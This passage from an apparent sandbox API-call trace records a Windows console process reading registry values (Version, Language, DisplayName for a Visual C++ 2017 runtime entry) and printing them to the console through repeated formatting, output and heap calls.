_File=0x7fefd702ab0) returned 0 [0150.032] __iob_func () returned 0x7fefd702a80 [0150.032] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.032] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0150.032] _fileno (_File=0x7fefd702ab0) returned 1 [0150.032] _errno () returned 0x204bb0 [0150.032] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.033] _errno () returned 0x204bb0 [0150.033] GetFileType (hFile=0x50) returned 0x1 [0150.033] lstrlenW (lpString="0x1") returned 3 [0150.033] GetConsoleOutputCP () returned 0x1b5 [0150.033] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.033] GetConsoleOutputCP () returned 0x1b5 [0150.033] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0150.033] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.033] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.033] __iob_func () returned 0x7fefd702a80 [0150.033] _fileno (_File=0x7fefd702ab0) returned 1 [0150.033] _errno () returned 0x204bb0 [0150.033] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.033] _errno () returned 0x204bb0 [0150.033] GetFileType (hFile=0x50) returned 0x1 [0150.033] lstrlenW (lpString="\n") returned 1 [0150.033] GetConsoleOutputCP () returned 0x1b5 [0150.033] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.033] GetConsoleOutputCP () returned 0x1b5 [0150.034] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.034] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.034] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.034] GetProcessHeap () returned 0x3c0000 [0150.034] GetProcessHeap () returned 0x3c0000 [0150.034] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.034] GetProcessHeap () returned 0x3c0000 [0150.034] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.034] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.034] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.034] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.034] GetProcessHeap () returned 0x3c0000 [0150.034] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.034] GetProcessHeap () returned 0x3c0000 [0150.034] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.034] GetProcessHeap () returned 0x3c0000 [0150.034] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.034] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0xe0a61b9, pcbData=0x29f780*=0x4) returned 0x0 [0150.034] __iob_func () returned 0x7fefd702a80 [0150.034] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.034] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.034] _fileno (_File=0x7fefd702ab0) returned 1 [0150.034] _errno () returned 0x204bb0 [0150.034] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.034] _errno () returned 0x204bb0 [0150.034] GetFileType (hFile=0x50) returned 0x1 [0150.034] lstrlenW (lpString=" ") returned 4 [0150.034] GetConsoleOutputCP () returned 0x1b5 [0150.035] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.035] GetConsoleOutputCP () returned 0x1b5 [0150.035] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.035] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.035] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.035] lstrlenW (lpString="Version") returned 7 [0150.035] __iob_func () returned 0x7fefd702a80 [0150.035] _fileno (_File=0x7fefd702ab0) returned 1 [0150.035] _errno () returned 0x204bb0 [0150.035] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.035] _errno () returned 0x204bb0 [0150.035] GetFileType (hFile=0x50) returned 0x1 [0150.035] lstrlenW (lpString="Version") returned 7 [0150.035] GetConsoleOutputCP () returned 0x1b5 [0150.035] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0150.035] GetConsoleOutputCP () returned 0x1b5 [0150.035] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0150.035] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0150.035] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.035] __iob_func () returned 0x7fefd702a80 [0150.036] _fileno (_File=0x7fefd702ab0) returned 1 [0150.036] _errno () returned 0x204bb0 [0150.036] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.036] _errno () returned 0x204bb0 [0150.036] GetFileType (hFile=0x50) returned 0x1 [0150.036] lstrlenW (lpString=" ") returned 4 [0150.036] GetConsoleOutputCP () returned 0x1b5 [0150.036] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.036] GetConsoleOutputCP () returned 0x1b5 [0150.036] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.036] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.036] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.036] __iob_func () returned 0x7fefd702a80 [0150.036] _fileno (_File=0x7fefd702ab0) returned 1 [0150.036] _errno () returned 0x204bb0 [0150.036] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.036] _errno () returned 0x204bb0 [0150.036] GetFileType (hFile=0x50) returned 0x1 [0150.036] lstrlenW (lpString="REG_DWORD") returned 9 [0150.036] GetConsoleOutputCP () returned 0x1b5 [0150.036] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.036] GetConsoleOutputCP () returned 0x1b5 [0150.037] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.037] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.037] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.037] __iob_func () returned 0x7fefd702a80 [0150.037] _fileno (_File=0x7fefd702ab0) returned 1 [0150.037] _errno () returned 0x204bb0 [0150.037] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.037] _errno () returned 0x204bb0 [0150.037] GetFileType (hFile=0x50) returned 0x1 [0150.037] lstrlenW (lpString=" ") returned 4 [0150.037] GetConsoleOutputCP () returned 0x1b5 [0150.037] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.037] GetConsoleOutputCP () returned 0x1b5 [0150.037] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.037] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.037] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.037] __iob_func () returned 0x7fefd702a80 [0150.037] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.037] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0xe0a61b9") returned 9 [0150.037] _fileno (_File=0x7fefd702ab0) returned 1 [0150.037] _errno () returned 0x204bb0 [0150.037] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.037] _errno () returned 0x204bb0 [0150.037] GetFileType (hFile=0x50) returned 0x1 [0150.038] lstrlenW (lpString="0xe0a61b9") returned 9 [0150.038] GetConsoleOutputCP () returned 0x1b5 [0150.038] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xe0a61b9", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.038] GetConsoleOutputCP () returned 0x1b5 [0150.038] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xe0a61b9", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xe0a61b9", lpUsedDefaultChar=0x0) returned 9 [0150.038] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.038] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.038] __iob_func () returned 0x7fefd702a80 [0150.038] _fileno (_File=0x7fefd702ab0) returned 1 [0150.038] _errno () returned 0x204bb0 [0150.038] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.038] _errno () returned 0x204bb0 [0150.038] GetFileType (hFile=0x50) returned 0x1 [0150.038] lstrlenW (lpString="\n") returned 1 [0150.038] GetConsoleOutputCP () returned 0x1b5 [0150.038] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.038] GetConsoleOutputCP () returned 0x1b5 [0150.038] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.038] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.038] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.039] GetProcessHeap () returned 0x3c0000 [0150.039] GetProcessHeap () returned 0x3c0000 [0150.039] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.039] GetProcessHeap () returned 0x3c0000 [0150.039] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.039] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.039] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.039] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.039] GetProcessHeap () returned 0x3c0000 [0150.039] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.039] GetProcessHeap () returned 0x3c0000 [0150.039] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.039] GetProcessHeap () returned 0x3c0000 [0150.039] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.039] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x409, pcbData=0x29f780*=0x4) returned 0x0 [0150.039] __iob_func () returned 0x7fefd702a80 [0150.039] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.039] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.039] _fileno (_File=0x7fefd702ab0) returned 1 [0150.039] _errno () returned 0x204bb0 [0150.039] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.039] _errno () returned 0x204bb0 [0150.039] GetFileType (hFile=0x50) returned 0x1 [0150.039] lstrlenW (lpString=" ") returned 4 [0150.039] GetConsoleOutputCP () returned 0x1b5 [0150.039] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.039] GetConsoleOutputCP () returned 0x1b5 [0150.040] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.040] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.040] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.040] lstrlenW (lpString="Language") returned 8 [0150.040] __iob_func () returned 0x7fefd702a80 [0150.040] _fileno (_File=0x7fefd702ab0) returned 1 [0150.040] _errno () returned 0x204bb0 [0150.040] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.040] _errno () returned 0x204bb0 [0150.040] GetFileType (hFile=0x50) returned 0x1 [0150.040] lstrlenW (lpString="Language") returned 8 [0150.040] GetConsoleOutputCP () returned 0x1b5 [0150.040] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.040] GetConsoleOutputCP () returned 0x1b5 [0150.040] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0150.040] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.040] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.040] __iob_func () returned 0x7fefd702a80 [0150.040] _fileno (_File=0x7fefd702ab0) returned 1 [0150.040] _errno () returned 0x204bb0 [0150.040] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.040] _errno () returned 0x204bb0 [0150.040] GetFileType (hFile=0x50) returned 0x1 [0150.040] lstrlenW (lpString=" ") returned 4 [0150.041] GetConsoleOutputCP () returned 0x1b5 [0150.041] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.041] GetConsoleOutputCP () returned 0x1b5 [0150.041] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.041] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.041] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.041] __iob_func () returned 0x7fefd702a80 [0150.041] _fileno (_File=0x7fefd702ab0) returned 1 [0150.041] _errno () returned 0x204bb0 [0150.041] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.041] _errno () returned 0x204bb0 [0150.041] GetFileType (hFile=0x50) returned 0x1 [0150.041] lstrlenW (lpString="REG_DWORD") returned 9 [0150.041] GetConsoleOutputCP () returned 0x1b5 [0150.041] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.041] GetConsoleOutputCP () returned 0x1b5 [0150.041] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.041] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.041] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.042] __iob_func () returned 0x7fefd702a80 [0150.042] _fileno (_File=0x7fefd702ab0) returned 1 [0150.042] _errno () returned 0x204bb0 [0150.042] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.042] _errno () returned 0x204bb0 [0150.042] GetFileType (hFile=0x50) returned 0x1 [0150.042] lstrlenW (lpString=" ") returned 4 [0150.042] GetConsoleOutputCP () returned 0x1b5 [0150.042] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.042] GetConsoleOutputCP () returned 0x1b5 [0150.042] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.042] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.042] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.042] __iob_func () returned 0x7fefd702a80 [0150.042] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.042] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x409") returned 5 [0150.042] _fileno (_File=0x7fefd702ab0) returned 1 [0150.042] _errno () returned 0x204bb0 [0150.042] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.042] _errno () returned 0x204bb0 [0150.042] GetFileType (hFile=0x50) returned 0x1 [0150.042] lstrlenW (lpString="0x409") returned 5 [0150.042] GetConsoleOutputCP () returned 0x1b5 [0150.043] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0150.043] GetConsoleOutputCP () returned 0x1b5 [0150.043] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x409", lpUsedDefaultChar=0x0) returned 5 [0150.043] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0150.043] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.043] __iob_func () returned 0x7fefd702a80 [0150.043] _fileno (_File=0x7fefd702ab0) returned 1 [0150.043] _errno () returned 0x204bb0 [0150.043] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.043] _errno () returned 0x204bb0 [0150.043] GetFileType (hFile=0x50) returned 0x1 [0150.043] lstrlenW (lpString="\n") returned 1 [0150.043] GetConsoleOutputCP () returned 0x1b5 [0150.043] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.043] GetConsoleOutputCP () returned 0x1b5 [0150.043] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.043] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.043] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.043] GetProcessHeap () returned 0x3c0000 [0150.043] GetProcessHeap () returned 0x3c0000 [0150.043] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.043] GetProcessHeap () returned 0x3c0000 [0150.043] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.044] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.044] RegEnumValueW (in: hKey=0x5c, dwIndex=0x18, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.044] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x80) returned 0x0 [0150.044] GetProcessHeap () returned 0x3c0000 [0150.044] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x82) returned 0x3db830 [0150.044] GetProcessHeap () returned 0x3c0000 [0150.044] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.044] GetProcessHeap () returned 0x3c0000 [0150.044] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x82 [0150.044] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x80 | out: pdwType=0x29f700*=0x1, pvData="Microsoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017", pcbData=0x29f780*=0x7e) returned 0x0 [0150.044] __iob_func () returned 0x7fefd702a80 [0150.044] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.044] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.044] _fileno (_File=0x7fefd702ab0) returned 1 [0150.044] _errno () returned 0x204bb0 [0150.044] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.044] _errno () returned 0x204bb0 [0150.044] GetFileType (hFile=0x50) returned 0x1 [0150.044] lstrlenW (lpString=" ") returned 4 [0150.044] GetConsoleOutputCP () returned 0x1b5 [0150.044] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.044] GetConsoleOutputCP () returned 0x1b5 [0150.044] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.044] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.044] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.045] lstrlenW (lpString="DisplayName") returned 11 [0150.045] __iob_func () returned 0x7fefd702a80 [0150.045] _fileno (_File=0x7fefd702ab0) returned 1 [0150.045] _errno () returned 0x204bb0 [0150.045] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.045] _errno () returned 0x204bb0 [0150.045] GetFileType (hFile=0x50) returned 0x1 [0150.045] lstrlenW (lpString="DisplayName") returned 11 [0150.045] GetConsoleOutputCP () returned 0x1b5 [0150.045] WideCharToMultiByte (in: CodePage=0x1b5, 